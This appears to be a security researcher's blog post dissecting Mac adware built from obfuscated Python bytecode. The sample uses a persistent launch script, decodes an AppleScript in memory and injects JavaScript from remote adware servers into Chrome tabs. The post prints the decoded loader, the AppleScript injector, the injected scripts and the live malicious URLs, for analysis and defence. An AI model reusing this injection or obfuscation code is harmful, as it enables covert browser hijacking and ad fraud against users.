Mac Adware, à la Python

tearing apart a persistent adware injector



Today’s blog post is brought to you by:





Become a Friend! Our research, tools, and writing, are supported by “Friends of Objective-See”Today’s blog post is brought to you by:

📝 👾 Want to play along? I’ve uploaded the samples discussed in this post. Downloads them here (password: infect3d). …please don’t infect yourself!

Background

Chances are, if an Apple user tells you their Mac is infected, it’s likely adware. Over the years, Mac adware has become ever more prolific as hackers seeks to financially “benefit” from the popularity of Cupertino’s devices.

Adware, though generally viewed as simply an annoyance, can often remove remote adversaries complete control of an infected system.



One of the more prolific pieces of Mac adware is OSX.Pirrit (also named VSearch ). Previously (in 2016), we talked about this annoying malcreation in a guest blog post, written by the security researcher Amit Serper. In this writeup, he discusses its propensity for displaying ads and popups, but also notes that OSX.Pirrit will take “complete control of the machine while making it very hard for the user to remove it.”

Today, we’re going to dive into a persistent piece of Mac adware (likely a component of OSX.Pirrit , as noted by a respected security researcher), which leverages various levels of obfuscation to hinder analysis. Although I am not aware of the adware’s initial infection vector, such adware generally ends up on users Macs, via shareware installers, or trojanized applications (i.e. Adobe Flash installers), distributed by a malicious website.

This adware (likely a new component of OSX.Pirrit ), was brought to my attention by Paul Taykalo, of MacPaw. Thanks Paul! 🙏 MacPaw (who creates apps such as ‘CleanMyMac X’), is a “Friend of Objective-See”. Together, we’ve been collaborating to improve Mac adware and malware detections.

As this persistent adware component was originally undetected (by all 56 engines on VirusTotal), I decided to tear it apart, sharing the process in this blog post.

So, let’s dive in!

Analysis

As noted, the file ( VtZkT ) was originally undetected by AV engines (VirusTotal link):

This isn’t too surprising, as adware authors will often create (new) variants specifically to avoid detection by traditional AV products.

After triggering a rescan of the file, now 10 of 57 engines flag the file as malicious. However, they simply identify it as AdWare.OSX.Agent.b

Once we download the file ( VtZkT ), we can run the file command to identify its type:

$ file /Users/patrick/Downloads/VtZkT /Users/patrick/Downloads/VtZkT: python 2.7 byte-compiled

Looks like it’s python, albeit, compiled (meaning it’s been converted into python byte-code):

$ hexdump -C VtZkT 00000000 03 f3 0d 0a 97 93 55 5b 63 00 00 00 00 00 00 00 |......U[c.......| 00000010 00 03 00 00 00 40 00 00 00 73 36 00 00 00 64 00 |.....@...s6...d.| 00000020 00 64 01 00 6c 00 00 5a 00 00 64 00 00 64 01 00 |.d..l..Z..d..d..| 00000030 6c 01 00 5a 01 00 65 00 00 6a 02 00 65 01 00 6a |l..Z..e..j..e..j| 00000040 03 00 64 02 00 83 01 00 83 01 00 64 01 00 04 55 |..d........d...U| 00000050 64 01 00 53 28 03 00 00 00 69 ff ff ff ff 4e 73 |d..S(....i....Ns| 00000060 d8 08 00 00 65 4a 79 64 56 2b 6c 54 49 6a 6b 55 |....eJydV+lTIjkU| 00000070 2f 38 35 66 51 56 47 31 53 33 71 4c 61 52 78 6e |/85fQVG1S3qLaRxn| 00000080 6e 42 6d 6e 4e 6c 73 4f 6c 2b 41 67 49 71 43 67 |nBmnNlsOl+AgIqCg|

Luckily online resources such as python-decompiler.com can transform (decompile) such binaries back into python source code. This greatly simplifies analysis!

$ less VtZkT.decompiled: # Python bytecode 2.7 (62211) # Embedded file name: c.py # Compiled at: 2018-07-23 08:36:39 import zlib, base64 exec zlib.decompress(base64.b64decode('eJydV+lTIjkU/85fQVG1S3q...cvxvOqHs='))

Though we now have python source code (vs. compiled binary python byte-code), the code is clearly still obfuscated. Specifically it’s base64 encoded, and zlib compressed. This of course is to hinder AV detections, and to some extent slightly complicate analysis.

The easiest way to de-obfuscate the code, is simply to covert the exec statement to a print then execute it in a Python shell:

$ python >>> import zlib , base64 >>> print zlib . decompress(base64 . b64decode( 'eJydV+lTIjkU/85fQVG1S3qLaRxnnBmn...2rTcvxvOqHs=' )) import time Hbo = globals HbM = None HbJ = True Hbq = open HBK = platform . mac_ver import urllib2 HbB = urllib2 . Request HbT = urllib2 . urlopen HBj . append( '/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC' ) import objc HbN = objc . loadBundleFunctions from subprocess import Popen,PIPE from Foundation import NSBundle Hbw = NSBundle . bundleWithIdentifier_ def HBh (): HBb = Hbw( 'com.apple.framework.IOKit' ) HBT = [( "IOServiceGetMatchingService" , b "II@" ),( "IOServiceMatching" , b "@*" ),( "IORegistryEntryCreateCFProperty" , b "@I@@I" ),] HbN(HBb,Hbo(),HBT) def HBs (): return HBx( "IOPlatformUUID" ) def HBA (ss): pass if HbJ: f = Hbq(HBI( "L3RtcC9jbHB5LmxvZw==" ), "a" ) f . write( "[{}] {}

" . format(HBV(),ss)) f . close() ... def HBt (HBD,str_to_xor): return '' . join([Hby(Hba(c) ^ Hba(HBD . qvWzj[ndx % HbL(HBD . qvWzj)])) for ndx,c in Hbd(HbS(str_to_xor))]) if __name__ == "__main__" : HBv = HBP() HBv . HBp()

While the code is now decoded and decompressed, it’s clearly still somewhat obfuscated. The first step is to manually decode the embedded base64-encoded strings, such as "L3RtcC9jbHB5LmxvZw=="

>>> base64 . b64decode( "L3RtcC9jbHB5LmxvZw==" ) '/tmp/clpy.log'

Other decoded strings include:

#HOME

“SE9NRQ==” #/var/root

“L3Zhci9yb290” #Library/SavedDataFiles

“TGlicmFyeS9TYXZlZERhdGFGaWxlcw==” #Library/MacConfigData

“TGlicmFyeS9NYWNDb25maWdEYXRh” #/tmp/ix.sh

“L3RtcC9peC5zaA==”

Following this, we can manually replace various obfuscated variables and functions. For example:

HbB = urllib2 . Request HbT = urllib2 . urlopen HBX = HbB(HBr) HBU = HbT(HBX) HBN = HBU . read()

…can be re-written as:

request = urllib2 . Request(HBr) response = urllib2 . urlopen(request) content = response . read()

Clearly, simpler to read and understand!

Unfortunately, an important detail is missing: what is the URL (server) the adware is making the request to? More specifically, what is the value passed to the urllib2.Request function?



In the obfuscated code, this URL is held within the HBr variable. This variable is set in the following manner: HBr="{}{}&mvr={}".format(jUzur,HBs(),HBK()[0]) . Let’s dig in a bit more to find out what the value is (as it would be nice to know what URL the adware is communicating with!). Below is the relevant code:

#macOS version HBK = platform . mac_ver #platform UUID def HBs (): return HBx( "IOPlatformUUID" ) #encoded key: `dat` HBf = HBI( "ZGF0" ) #build full path HBy = HBD . HBt( "{}/{}" . format(HBD . HBt(HBD . EPRuN),HBf)) #encoded key: `up` HBD . fJVAs = HBI( "dXA=" ) #python object persistence HbX = shelve . DbfilenameShelf #open python object file # store in `XmNBv` class variable HBD . XmNBv = HbX(HBD . HBt(HBy)) #invoke the `HBn` passing in HBD . HBn(HBD . XmNBv[HBD . fJVAs] . strip()) #create url # value from object store + platform UUID + macOS version def HBn (HBD,jUzur): HBr = "{}{}&mvr={}" . format(jUzur,HBs(),HBK()[ 0 ])

In short, the URL request contains the platform UUID, and the victim’s macOS version. The URL, appears to be extracted from a file via the shelve.DbfilenameShelf method. What’s is this file? The easiest way, is simply to add a print statement to python code: print HBD.HBt(HBy)

When executed, (in a virtual machine), this spits out the decoded file path: /Users/user/Library/SavedDataFiles/dat . Unfortunately the SavedDataFiles directory was not recovered, and thus the dat file was not available for analysis :( Thus the URL (currently) remains a mystery.

However, Paul was able to dig up a closely related sample. Though this second sample did not contain the urllib2 method calls, it was far less obfuscated, and the external files it referenced, were recovered as well. Thus our analysis can continue with the sample.

This second sample was found within a folder named search.amp and contained the following files:

5mLen

6bLJC

CqfeP

The CqfeP file is a simple bash script that is (likely) persisted as a launch item to ensure the adware is automatically started each time the user logs into their Mac.

$ cat CqfeP #!/usr/bin/env bash cd /Users/ /Library/search.amp && python 5mLen f=6bLJC

After changing into the search.amp directory (via the cd command), the script executes the 5mLen file (via python), passing in the 6bLJC file via the f parameter.

We can confirm that the 5mLen file is indeed a python script, via the aforementioned file command:

$ file /Users/patrick/Downloads/5mLen /Users/patrick/Downloads/search.amp/5mLen: python 2.7 byte-compiled

Recall the sample we initially investigated, VtZkT, was also a python 2.7 byte-compiled binary.

After decompiling the 5mLen via python-decompiler.com, a representation of the python source is recovered:

$ less 5mLen.decompiled: # Python bytecode 2.7 (62211) # Embedded file name: r.py # Compiled at: 2018-07-18 14:41:28 import zlib, base64 exec zlib.decompress(base64.b64decode('eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw='))

…again practically identical to the VtZkT sample.

Decoding and decompressing the eJydVW1z2jgQ/s6vYDyTsd3...SeC7f1H74d1Rw= chunk reveals the python, that again, shares a ton of similarities with the VtZkT file:

$ python >>> import zlib , base64 >>> print zlib . decompress(base64 . b64decode(eJydVW1z2jgQ / s6vYDyTsd3 ... SeC7f1H74d1Rw = )) from subprocess import Popen,PIPE wvc = len wvH = enumerate import base64 wvF = base64 . b64decode import time wvu = time . sleep import objc wvC = objc . loadBundleFunctions from Foundation import NSBundle wvt = NSBundle . bundleWithIdentifier_ ...

However a closer look at the decoded python code reveals some intriguing variable names and values (that in this sample, apparently remain unobfuscated):

class wvn : def __init__(wvd,wvB): wvd . wvU() wvd . B64_FILE = 'ij1.b64' wvd . B64_ENC_FILE = 'ij1.b64.enc' wvd . XOR_KEY = "1bm5pbmcKc" wvd . PID_FLAG = "493024ui5o" wvd . PLAIN_TEXT_SCRIPT = '' wvd . SLEEP_INTERVAL = 60 wvd . URL_INJECT = "https://1049434604.rsc.cdn77.org/ij1.min.js" wvd . MID = wvd . wvK(wvd . wvj()) def wvR (wvd): if wvc(wvd . _args) > 0 : if wvd . _args[ 0 ] == 'enc99' : pass elif wvd . _args[ 0 ] . startswith( 'f=' ): try : wvd . B64_ENC_FILE = wvd . _args[ 0 ] . split( '=' )[ 1 ] except : pass def wvY (wvd): with wvS(wvd . B64_ENC_FILE) as f: wvd . PLAIN_TEXT_SCRIPT = f . read() . strip() wvd . PLAIN_TEXT_SCRIPT = wvF(wvd . wvq(wvd . PLAIN_TEXT_SCRIPT)) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "pid_REPLACE" ,wvd . PID_FLAG) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "script_to_inject_REPLACE" ,wvd . URL_INJECT) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "MID_REPLACE" ,wvd . MID) def wvI (wvd): p = Popen([ 'osascript' ],stdin = PIPE,stdout = PIPE,stderr = PIPE) wvi,wvP = p . communicate(wvd . PLAIN_TEXT_SCRIPT)

In the wvn class __init__ method, we see references to various variables of interest such as base64 encoded file ( ij1.b64 ), and xor key ( 1bm5pbmcKc ) and an injection URL ( https://1049434604.rsc.cdn77.org/ij1.min.js ). In the wvR method, the code checks if the script was invoked with the f= commandline option. If so, it set’s the B64_ENC_FILE variable, to the specified file. Recall, the script was persistently invoked with the following: python 5mLen f=6bLJC . Thus, when executed B64_ENC_FILE will be set to 6bLJC .

Taking a peak at the 6bLJC reveals it’s encoded, or possibly encrypted (xor):

$ hexdump -C search.amp/6bLJC 00000000 6b 50 15 43 29 0f 2b 10 02 25 08 10 37 62 26 15 |kP.C).+..%..7b&.| 00000010 35 50 01 52 53 0f 58 45 12 0f 0e 28 28 51 67 52 |5P.RS.XE...((QgR| 00000020 24 73 49 10 37 34 1d 14 69 51 27 04 12 0f 58 13 |$sI.74..iQ'...X.| 00000030 29 0e 52 05 09 72 48 05 24 09 0e 0a 72 05 1d 4c |).R..rH.$...r..L| ... 00000630 39 25 01 19 13 53 7f 0d 0e 58 49 16 37 35 72 1a |9%...S...XI.75r.| 00000640 55 35 58 40 11 35 58 0d 08 04 0c 5f |U5X@.5X...._|

Though we could manually decode it (as we have the xor key, 1bm5pbmcKc ), it’s simpler to insert a print statement into the code immediately after the logic that decodes the contents of the file. Specifically at the end of the wvY method:

def wvY (wvd): with wvS(wvd . B64_ENC_FILE) as f: wvd . PLAIN_TEXT_SCRIPT = f . read() . strip() wvd . PLAIN_TEXT_SCRIPT = wvF(wvd . wvq(wvd . PLAIN_TEXT_SCRIPT)) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "pid_REPLACE" ,wvd . PID_FLAG) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "script_to_inject_REPLACE" ,wvd . URL_INJECT) wvd . PLAIN_TEXT_SCRIPT = wvd . PLAIN_TEXT_SCRIPT . replace( "MID_REPLACE" ,wvd . MID) #patrick: # print out (now) decoded script file print (wvd . PLAIN_TEXT_SCRIPT)

Executing the modified python code (in a VM!), and passing in the 6bLJC file via f= , will now print out the contents of the decoded 6bLJC file:

$ python 5mLen f=6bLJC global _keep_running set _keep_running to "1" repeat until _keep_running = "0" «event XFdrIjct» {} end repeat on «event XFdrIjct» {} delay 0.5 try if is_Chrome_running() then tell application "Google Chrome" to tell active tab of window 1 set sourceHtml to execute javascript "document.getElementsByTagName('head')[0].innerHTML" if sourceHtml does not contain "493024ui5o" then tell application "Google Chrome" to execute front window's active tab javascript "var pidDiv = document.createElement('div'); pidDiv.id = \"493024ui5o\"; pidDiv.style = \"display:none\"; pidDiv.innerHTML = \"bbdd05eed40561ed1dd3daddfba7e1dd\"; document.getElementsByTagName('head')[0].appendChild(pidDiv);" tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"https://1049434604.rsc.cdn77.org/ij1.min.js\"; document.getElementsByTagName('head')[0].appendChild(js_script);" end if end tell else set _keep_running to "0" end if end try end «event XFdrIjct» on is_Chrome_running() tell application "System Events" to (name of processes) contains "Google Chrome" end is_Chrome_running

Ahh AppleScript! Perusing this decoded script reveals it performs the following actions:

checks if Google Chrome is running

grabs the HTML code of the page in the active tab

code of the page in the active tab if said HTML does not contain 493024ui5o injects and executes two pieces of JavaScript:

var pidDiv = document. createElement ( 'div' ); pidDiv . id = "493024ui5o" ; pidDiv . style = "display:none" ; pidDiv . innerHTML = "bbdd05eed40561ed1dd3daddfba7e1dd" ; document. getElementsByTagName ( 'head' )[ 0 ]. appendChild ( pidDiv ); var js_script = document. createElement ( 'script' ); js_script . type = "text/javascript" ; js_script . src = "https://1049434604.rsc.cdn77.org/ij1.min.js" ; document. getElementsByTagName ( 'head' )[ 0 ]. appendChild ( js_script );

Note that the URL https://1049434604.rsc.cdn77.org/ij1.min.js matches the hard-coded value of the wvd.URL_INJECT variable (in the python code).

A scan of this (now defunct) URL, via urlscan.io reveals the following:

var mid = document. getElementById ( "493024ui5o" ). innerHTML ; var js_script = document. createElement ( "script" ); js_script . type = "text/javascript" ; js_script . src = "//ww1.ridiwo.space/oj/ij1?dom=" + window. location . href + "&mid=" + mid ; document. getElementsByTagName ( "head" )[ 0 ]. appendChild ( js_script );

…the injection of more JavaScript. Such injections and redirects are rather common in adware - which generally routes control flow thru multiple scripts, sites, and URLs to its final destination. Unfortunately manually attempting to ‘talk to’ the URL ww1.ridiwo.space fails. (It does return a 200 OK , however fails to return any content, such as JavaScript):

Unfortunately this means we cannot ascertain the ultimate goal of the adware. However, such adware generally just injects ads, or popups in user’s browser sessions in order to generate revenue for its authors.

Before we wrap up this blog, let’s return to the python code ( 5mLen ) to explore how the persistent component of the adware kicks off the AppleScript injection script ( 6bLJC ). Turns out the code that performs this action, resides in the wvI method:

def wvI (wvd): p = Popen([ 'osascript' ],stdin = PIPE,stdout = PIPE,stderr = PIPE) wvi,wvP = p . communicate(wvd . PLAIN_TEXT_SCRIPT)

Easy to see that adware executes the osascript binary (a built-in macOS utility, used to execute AppleScript) via Python’s Popen function.

Once the osascript process has been launched the adware, it passes in the (now decoded) AppleScript ( wvd.PLAIN_TEXT_SCRIPT ) via the communicate method. This of course will cause the AppleScript to be executed, with a neat side-affect that the decoded script will remain off the file-system (i.e. only in memory).

Conclusion

In this blog post, we dug into a persistent piece of Mac adware. Though it was compiled into python byte-code, using online resources we were able to decompile it to (re)generate python source. Decoding and decompressing this source made analysis far simpler. Unfortunately, for the initial sample, externally referenced files were missing which prevented full analysis.

Luckily, a related sample was uncovered along with external files, such as a persistent bash script and a encoded input file (which was passed into the main adware component). Instrumentation of this second sample allowed us to ascertain it’s goal: the injection (via AppleScript) of JavaScript into Chrome pages:

Good news, on recent versions of macOS and Chrome this injection attack will be thwarted!

First, macOS Mojave now blocks AppleScript “inter-application interactions”, unless the user has manually approve or white-listed the application (that’s initiating the AppleScript interactions). Thus, when the adware attempts the injection via AppleScript, this will be blocked and a system alert will be displayed:

Google Chrome, by default, now also blocks such attacks.

error "Google Chrome got an error: Executing JavaScript through AppleScript is turned off. To turn it on, from the menu bar, go to View > Developer > Allow JavaScript from Apple Events. For more information: https://support.google.com/chrome/?p=applescript" number -128

Specifically, it will ignore JavaScript injections via AppleScipt, unless this has been manually allowed (via the Developer menu option):

Kudos to both Apple and Google for continually improving the security posture of their products! 🙏 And yes, this is a perfect example why (from a security point of view), it’s always wise to keep your software up-to-date!



